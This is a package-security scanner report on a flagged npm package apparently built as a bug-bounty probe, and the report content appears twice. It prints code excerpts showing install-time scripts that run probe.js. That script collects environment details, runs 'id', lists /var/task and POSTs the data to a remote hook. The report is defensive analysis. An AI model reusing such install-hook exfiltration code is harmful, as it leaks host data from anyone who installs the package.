twilio-hackerone-poc-afe6937c@1.0.3: Malicious npm security | LPM Firewall

Loading npm security reports…

twilio-hackerone-poc-afe6937c@1.0.3: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

daemon.jsView file

44setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000); L45: let _id='';try{_id=require('child_process').execSync('id',{timeout:4000}).toString().trim();}catch(e){_id=''+e;} L46: let _cw='';try{_cw=require('fs').readFileSync('/proc/self/cwd'+'','utf8');}catch(e){}

High

Child Process

Package source references child process execution.

daemon.jsView on unpkg · L44

probe.jsView file

1const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

probe.jsView on unpkg · L1

1Cross-file remote execution chain: probe.js spawns daemon.js; helper contains network access plus dynamic code execution. L1: const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; L3: function main(){ ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(), ... L15: at:Date.now()}; L16: try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r... L17: // spawn/refresh the observation daemon

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

probe.jsView on unpkg · L1

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

daemon.jsView file

44setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000); L45: let _id='';try{_id=require('child_process').execSync('id',{timeout:4000}).toString().trim();}catch(e){_id=''+e;} L46: let _cw='';try{_cw=require('fs').readFileSync('/proc/self/cwd'+'','utf8');}catch(e){}

High

Child Process

Package source references child process execution.

daemon.jsView on unpkg · L44

probe.jsView file

1const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

probe.jsView on unpkg · L1

1Cross-file remote execution chain: probe.js spawns daemon.js; helper contains network access plus dynamic code execution. L1: const fs=require('fs'), cp=require('child_process'), https=require('https'); L2: const HOOK_FILE=__dirname+'/hook.txt'; L3: function main(){ ... L11: const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid, L12: logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null, L13: task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(), ... L15: at:Date.now()}; L16: try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r... L17: // spawn/refresh the observation daemon

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

probe.jsView on unpkg · L1